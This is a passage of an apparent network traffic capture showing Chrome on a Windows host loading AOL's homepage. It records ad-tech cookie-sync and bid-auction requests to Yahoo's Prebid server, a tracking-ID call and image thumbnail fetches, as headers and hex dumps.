2024-05-23 22:34:52 UTC	1884	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff f6 f4 f1 f5 f3 f0 ff ff ff ff ff ff ff ff ff f2 ef eb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fb fa da d1 c3 fd fc fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 ef ea e2 dc d1 de d7 cb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d8 cf c1 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e6 e1 d8 e4 dd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b9 a8 8e ff ff ff eb e7 df ff ff ff ff ff ff f7 f5 f2 f5 f3 ef f9 f8 f6 ed e9 e2 ff ff ff f7 f6 f3 ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff e8 Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.6	49915	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	699	OUT	POST /cookie_sync HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive Content-Length: 260 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:52 UTC	260	OUT	Data Raw: 7b 22 75 75 69 64 22 3a 22 30 39 65 39 34 64 31 37 2d 65 38 65 65 2d 34 38 65 62 2d 39 65 65 38 2d 33 38 34 36 39 63 36 38 32 38 36 33 22 2c 22 62 69 64 64 65 72 73 22 3a 5b 22 79 61 68 6f 6f 50 72 65 62 69 64 53 65 72 76 65 72 22 5d 2c 22 61 63 63 6f 75 6e 74 22 3a 22 79 61 68 6f 6f 22 2c 22 66 69 6c 74 65 72 53 65 74 74 69 6e 67 73 22 3a 7b 22 69 6d 61 67 65 22 3a 7b 22 62 69 64 64 65 72 73 22 3a 22 2a 22 2c 22 66 69 6c 74 65 72 22 3a 22 69 6e 63 6c 75 64 65 22 7d 2c 22 69 66 72 61 6d 65 22 3a 7b 22 62 69 64 64 65 72 73 22 3a 22 2a 22 2c 22 66 69 6c 74 65 72 22 3a 22 69 6e 63 6c 75 64 65 22 7d 7d 2c 22 67 64 70 72 22 3a 30 2c 22 75 73 5f 70 72 69 76 61 63 79 22 3a 22 31 59 4e 4e 22 2c 22 67 70 70 5f 73 69 64 22 3a 22 2d 31 22 2c 22 67 70 70 22 3a 22 44 Data Ascii: {"uuid":"09e94d17-e8ee-48eb-9ee8-38469c682863","bidders":["yahooPrebidServer"],"account":"yahoo","filterSettings":{"image":{"bidders":"","filter":"include"},"iframe":{"bidders":"","filter":"include"}},"gdpr":0,"us_privacy":"1YNN","gpp_sid":"-1","gpp":"D
2024-05-23 22:34:52 UTC	688	IN	HTTP/1.1 200 OK access-control-allow-credentials: true access-control-allow-origin: https://www.aol.com content-type: application/json; charset=utf-8 vary: Origin date: Thu, 23 May 2024 22:34:52 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 31 36 39 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6e 6f 5f 63 6f 6f 6b 69 65 22 2c 22 62 69 64 64 65 72 5f 73 74 61 74 75 73 22 3a 5b 7b 22 62 69 64 64 65 72 22 3a 22 74 74 64 22 2c 22 6e 6f 5f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 75 73 65 72 73 79 6e 63 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 66 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 72 69 67 68 74 6d 65 64 69 61 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 22 2c 22 74 79 70 65 22 3a 22 72 65 64 69 72 65 63 74 22 7d 7d 2c 7b 22 62 69 64 64 65 72 22 3a 22 67 75 6d 67 75 6d 22 2c 22 6e 6f 5f 63 6f 6f 6b 69 65 22 3a 74 72 75 Data Ascii: 169a{"status":"no_cookie","bidder_status":[{"bidder":"ttd","no_cookie":true,"usersync":{"url":"https://match.adsrvr.org/track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1","type":"redirect"}},{"bidder":"gumgum","no_cookie":tru
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 73 73 70 2e 64 69 73 71 75 73 2e 63 6f 6d 2f 72 65 64 69 72 65 63 74 75 73 65 72 3f 73 69 64 3d 47 45 54 5f 53 49 44 5f 46 52 4f 4d 5f 5a 45 54 41 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 74 75 69 64 25 33 46 62 69 64 64 65 72 25 33 44 7a 65 74 61 5f 67 6c 6f 62 61 6c 5f 73 73 70 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 44 25 32 36 67 70 70 25 33 44 44 42 41 41 25 32 36 67 70 70 5f 73 69 64 25 33 44 2d 31 25 32 36 66 25 33 44 69 25 32 36 75 69 64 25 33 44 42 55 59 45 52 55 49 44 22 2c 22 74 79 70 65 22 3a 22 72 65 64 Data Ascii: https://ssp.disqus.com/redirectuser?sid=GET_SID_FROM_ZETA&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dzeta_global_ssp%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DBUYERUID","type":"red
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 72 62 2e 6b 61 72 67 6f 2e 63 6f 6d 2f 61 70 69 2f 76 31 2f 64 73 79 6e 63 2f 79 61 68 6f 6f 3f 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 26 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 74 75 69 64 25 33 46 62 69 64 64 65 72 25 33 44 6b 61 72 67 6f 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 44 25 32 36 67 70 70 25 33 44 44 42 41 41 25 32 36 67 70 70 5f 73 69 64 25 33 44 2d 31 25 32 36 66 25 33 44 69 25 32 36 75 69 64 25 33 44 25 32 34 55 49 44 22 2c 22 74 79 70 65 22 3a 22 72 65 64 69 72 65 63 74 22 7d 7d 2c 7b 22 62 69 64 64 65 72 22 Data Ascii: rb.kargo.com/api/v1/dsync/yahoo?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dkargo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID","type":"redirect"}},{"bidder"
2024-05-23 22:34:52 UTC	1300	IN	Data Raw: 2d 73 79 6e 63 2f 69 66 72 61 6d 65 3f 67 64 70 72 61 70 70 6c 69 65 73 3d 30 26 67 64 70 72 3d 26 63 63 70 61 3d 31 59 4e 4e 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 26 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 74 75 69 64 25 33 46 62 69 64 64 65 72 25 33 44 63 72 69 74 65 6f 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 44 25 32 36 67 70 70 25 33 44 44 42 41 41 25 32 36 67 70 70 5f 73 69 64 25 33 44 2d 31 25 32 36 66 25 33 44 69 25 32 36 75 69 64 25 33 44 25 32 34 25 37 42 43 52 49 54 45 4f 5f 55 53 45 52 5f 49 44 25 37 44 26 70 72 6f 66 69 6c 65 3d 32 33 30 22 2c 22 74 79 70 65 22 3a 22 69 66 72 61 6d 65 22 7d 7d 2c 7b 22 62 Data Ascii: -sync/iframe?gdprapplies=0&gdpr=&ccpa=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dcriteo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24%7BCRITEO_USER_ID%7D&profile=230","type":"iframe"}},{"b
2024-05-23 22:34:52 UTC	599	IN	Data Raw: 70 73 3a 2f 2f 61 70 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 70 72 65 62 69 64 2d 73 65 72 76 65 72 2f 3f 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 67 70 70 5f 73 69 64 3d 2d 31 26 67 70 70 3d 44 42 41 41 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 74 75 69 64 25 33 46 62 69 64 64 65 72 25 33 44 73 6f 76 72 6e 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 44 25 32 36 67 70 70 25 33 44 44 42 41 41 25 32 36 67 70 70 5f 73 69 64 25 33 44 2d 31 25 32 36 66 25 33 44 69 25 32 36 75 69 64 25 33 44 25 32 34 55 49 44 22 2c 22 74 79 70 65 22 3a 22 69 66 72 61 6d 65 22 7d 7d 2c Data Ascii: ps://ap.lijit.com/beacon/prebid-server/?&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID","type":"iframe"}},

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.6	49913	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	941	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F1OsqZ2pFbgTFzAjs10o6yg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20230410%2F500x500%2Fminnesota-twins_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a75a87a3e73c354a94d4b48834cde7d1ee914a2f HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1895570 Cache-Control: public, max-age=2592000 Cache-Tag: 194331355042703009038793273272462225140,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000090-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 5 Content-Type: image/png Date: Thu, 23 May 2024 22:34:52 GMT Edge-Cache-Tag: 194331355042703009038793273272462225140,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "08b992f5e1ceb85b16075cdae0885dbf" Expiration: expiry-date="Mon, 19 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 20 Feb 2024 16:55:35 GMT Server: ECAcc (lhd/35C2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1662,owidth=50,oheight=50,obytes=1271,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-lga21976-LGA X-Timer: S1711411322.456414,VS0,VE74 Content-Length: 1662 Connection: close
2024-05-23 22:34:52 UTC	1662	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 9a 50 4c 54 45 47 70 4c e3 1e 34 e3 1e 34 e3 1c 33 00 2b 5c e3 1e 34 00 2b 5c 00 2b 5c 00 2b 5c e3 1e 34 00 27 59 e3 1e 34 e3 1e 34 e2 1c 32 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 00 2b 5c e3 1d 32 e3 1d 34 e3 1e 34 e3 1e 34 e3 1e 34 00 2a 5b 00 29 5a e3 1d 33 00 2b 5c 00 29 5c 00 2b 5c 00 2b 5c e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1d 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1d 33 e3 1e 34 00 2b 5c 00 2b 5c e3 1d 34 00 2b 5c e3 1e 34 00 2b 5b e3 1e 34 e3 1e 34 e3 1e 34 00 2b 5c e3 1e 34 00 2b 5c 00 2b 5c 00 2b 5c e3 1e 34 00 2b 5c e3 1e 34 e3 1e 34 e3 1e 34 e3 1e 34 e3 1d 33 e3 1e 34 e3 1e 34 e3 1e 34 e3 Data Ascii: PNGIHDR22)xPLTEGpL443+\4+\+\+\4'Y4424444+\24444*[)Z3+\)\+\+\4444444444444434+\+\4+\4+[444+\4+\+\+\4+\44443444

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.6	49916	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	705	OUT	POST /openrtb2/auction HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive Content-Length: 2939 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:52 UTC	2939	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 7b 22 63 6c 69 65 6e 74 22 3a 22 70 62 6a 73 22 2c 22 67 61 6d 41 64 43 6f 64 65 22 3a 22 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 61 73 5f 74 6f 70 5f 72 69 67 68 74 5f 63 22 2c 22 67 61 6d 4c 6f 63 22 3a 22 74 6f 70 5f 72 69 67 68 74 5f 63 22 2c 22 63 6f 6c 6f 22 3a 22 65 75 2d 77 65 73 74 2d 31 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 6c 75 22 3a 22 30 22 2c 22 70 63 74 22 3a 22 61 6f 6c 22 2c 22 70 74 22 3a 22 68 6f 6d 65 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 61 6f 6c 22 2c 22 76 65 72 22 3a 22 74 64 2d 61 70 70 2d 61 6f 6c 22 7d 2c Data Ascii: {"imp":[{"ext":{"prebid":{"passthrough":{"client":"pbjs","gamAdCode":"us_aol_hp_dt_as_top_right_c","gamLoc":"top_right_c","colo":"eu-west-1","device":"desktop","lang":"en-US","lu":"0","pct":"aol","pt":"home","region":"US","site":"aol","ver":"td-app-aol"},
2024-05-23 22:34:53 UTC	695	IN	HTTP/1.1 200 OK access-control-allow-credentials: true access-control-allow-origin: https://www.aol.com content-type: application/json vary: Origin x-prebid: pbs-go/unknown content-length: 3325 date: Thu, 23 May 2024 22:34:53 GMT x-envoy-upstream-service-time: 571 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 7b 22 69 64 22 3a 22 63 34 66 38 64 64 31 33 2d 36 33 64 31 2d 34 37 35 36 2d 39 35 32 34 2d 39 30 31 37 34 30 30 62 30 39 30 39 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 7b 22 62 69 64 22 3a 5b 7b 22 69 64 22 3a 22 6d 69 64 5f 63 65 6e 74 65 72 5f 62 69 64 22 2c 22 69 6d 70 69 64 22 3a 22 6d 69 64 5f 63 65 6e 74 65 72 22 2c 22 70 72 69 63 65 22 3a 30 2c 22 65 78 74 22 3a 7b 22 6f 72 69 67 62 69 64 63 70 6d 22 3a 30 2c 22 70 72 65 62 69 64 22 3a 7b 22 6d 65 74 61 22 3a 7b 22 61 64 61 70 74 65 72 63 6f 64 65 22 3a 22 44 65 66 61 75 6c 74 42 69 64 64 65 72 2d 34 22 7d 2c 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 7b 22 63 6c 69 65 6e 74 22 3a 22 70 62 6a 73 22 2c 22 63 6f 6c 6f 22 3a 22 65 75 2d 77 65 73 74 2d 31 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b Data Ascii: {"id":"c4f8dd13-63d1-4756-9524-9017400b0909","seatbid":[{"bid":[{"id":"mid_center_bid","impid":"mid_center","price":0,"ext":{"origbidcpm":0,"prebid":{"meta":{"adaptercode":"DefaultBidder-4"},"passthrough":{"client":"pbjs","colo":"eu-west-1","device":"desk
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: 6f 6c 22 2c 22 70 74 22 3a 22 68 6f 6d 65 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 61 6f 6c 22 2c 22 76 65 72 22 3a 22 74 64 2d 61 70 70 2d 61 6f 6c 22 7d 2c 22 74 61 72 67 65 74 69 6e 67 22 3a 7b 22 68 62 5f 62 69 64 64 65 72 5f 73 65 61 74 69 64 22 3a 22 44 65 66 61 75 6c 74 42 69 64 64 65 72 2d 31 22 2c 22 68 62 5f 73 6f 75 72 63 65 22 3a 22 73 32 73 22 7d 7d 7d 7d 5d 2c 22 73 65 61 74 22 3a 22 44 65 66 61 75 6c 74 42 69 64 64 65 72 2d 31 22 7d 2c 7b 22 62 69 64 22 3a 5b 7b 22 69 64 22 3a 22 4c 52 45 43 5f 74 6f 70 5f 72 69 67 68 74 5f 31 5f 62 69 64 22 2c 22 69 6d 70 69 64 22 3a 22 4c 52 45 43 5f 74 6f 70 5f 72 69 67 68 74 5f 31 22 2c 22 70 72 69 63 65 22 3a 30 2c 22 65 78 74 22 3a 7b 22 6f 72 69 67 62 69 64 63 70 6d 22 Data Ascii: ol","pt":"home","region":"US","site":"aol","ver":"td-app-aol"},"targeting":{"hb_bidder_seatid":"DefaultBidder-1","hb_source":"s2s"}}}}],"seat":"DefaultBidder-1"},{"bid":[{"id":"LREC_top_right_1_bid","impid":"LREC_top_right_1","price":0,"ext":{"origbidcpm"
2024-05-23 22:34:53 UTC	479	IN	Data Raw: 30 30 30 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 76 61 6c 75 65 20 6e 6f 74 20 66 6f 75 6e 64 20 66 6f 72 20 70 61 74 68 3a 20 63 72 69 64 20 66 6f 72 20 62 69 64 64 65 72 3a 20 44 65 66 61 75 6c 74 42 69 64 64 65 72 2d 31 2c 20 62 69 64 20 69 64 3a 20 4d 4f 4e 5f 74 6f 70 5f 72 69 67 68 74 5f 30 5f 62 69 64 22 7d 2c 7b 22 63 6f 64 65 22 3a 31 30 30 30 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 76 61 6c 75 65 20 6e 6f 74 20 66 6f 75 6e 64 20 66 6f 72 20 70 61 74 68 3a 20 61 64 69 64 20 66 6f 72 20 62 69 64 64 65 72 3a 20 44 65 66 61 75 6c 74 42 69 64 64 65 72 2d 32 2c 20 62 69 64 20 69 64 3a 20 4c 52 45 43 5f 74 6f 70 5f 72 69 67 68 74 5f 31 5f 62 69 64 22 7d 2c 7b 22 63 6f 64 65 22 3a 31 30 30 30 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 76 61 6c 75 65 20 6e 6f Data Ascii: 0007,"message":"value not found for path: crid for bidder: DefaultBidder-1, bid id: MON_top_right_0_bid"},{"code":10007,"message":"value not found for path: adid for bidder: DefaultBidder-2, bid id: LREC_top_right_1_bid"},{"code":10007,"message":"value no
2024-05-23 22:34:53 UTC	246	IN	Data Raw: 65 6e 78 22 3a 37 33 2c 22 70 75 62 6d 61 74 69 63 22 3a 32 35 2c 22 70 75 62 6d 61 74 69 63 5f 6e 6f 6e 79 61 68 6f 6f 22 3a 32 37 2c 22 72 74 62 68 6f 75 73 65 22 3a 31 36 2c 22 72 75 62 69 63 6f 6e 22 3a 38 38 2c 22 73 68 61 72 65 74 68 72 6f 75 67 68 22 3a 39 39 2c 22 73 6f 6e 6f 62 69 22 3a 31 30 32 2c 22 73 6f 76 72 6e 22 3a 33 33 33 2c 22 74 72 69 70 6c 65 6c 69 66 74 22 3a 37 32 2c 22 74 74 64 22 3a 32 30 2c 22 75 6e 72 75 6c 79 22 3a 39 31 2c 22 79 61 68 6f 6f 61 64 73 22 3a 34 35 2c 22 79 69 65 6c 64 6d 6f 22 3a 31 36 38 7d 2c 22 74 6d 61 78 72 65 71 75 65 73 74 22 3a 32 30 30 30 2c 22 70 72 65 62 69 64 22 3a 7b 22 61 75 63 74 69 6f 6e 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 31 36 35 30 33 36 39 32 37 38 31 7d 7d 7d 0a Data Ascii: enx":73,"pubmatic":25,"pubmatic_nonyahoo":27,"rtbhouse":16,"rubicon":88,"sharethrough":99,"sonobi":102,"sovrn":333,"triplelift":72,"ttd":20,"unruly":91,"yahooads":45,"yieldmo":168},"tmaxrequest":2000,"prebid":{"auctiontimestamp":1716503692781}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.6	49919	184.73.49.33	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	766	OUT	GET /idex/did-004f/any?duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&us_privacy=1YNN&gdpr=0&did=did-004f&gpp_s=DBAA&gpp_as=-1&cd=.aol.com&resolve=nonId&resolve=magnite&resolve=pubmatic&resolve=index&resolve=openx HTTP/1.1 Host: idx.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:52 UTC	536	IN	HTTP/1.1 204 No Content Date: Thu, 23 May 2024 22:34:52 GMT Connection: close trace-id: 76bdb1ceba254874 Vary: Origin Expires: Thu, 23 May 2024 23:34:52 GMT Set-Cookie: lidid=fa082f2d-2a08-426b-9696-389b333af1e8; Max-Age=63072000; Expires=Sat, 23 May 2026 22:34:52 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 2 Cache-Control: max-age=3599, private Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: https://www.aol.com Access-Control-Allow-Credentials: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.6	49935	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	931	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FdS08pSt67NVw1.BHmNGdYg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190328%2F500x500%2Fmets_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=77e9d3cbd4a2236c4ed62b6bed5b225eec89f5a7 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1131	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 59736 Cache-Control: public, max-age=2592000 Cache-Tag: 323663472816882366468315098596914877951,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21921-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 323663472816882366468315098596914877951,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "b51745b23dee91feba756e824dc7305b" Expiration: expiry-date="Wed, 07 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 08 Feb 2024 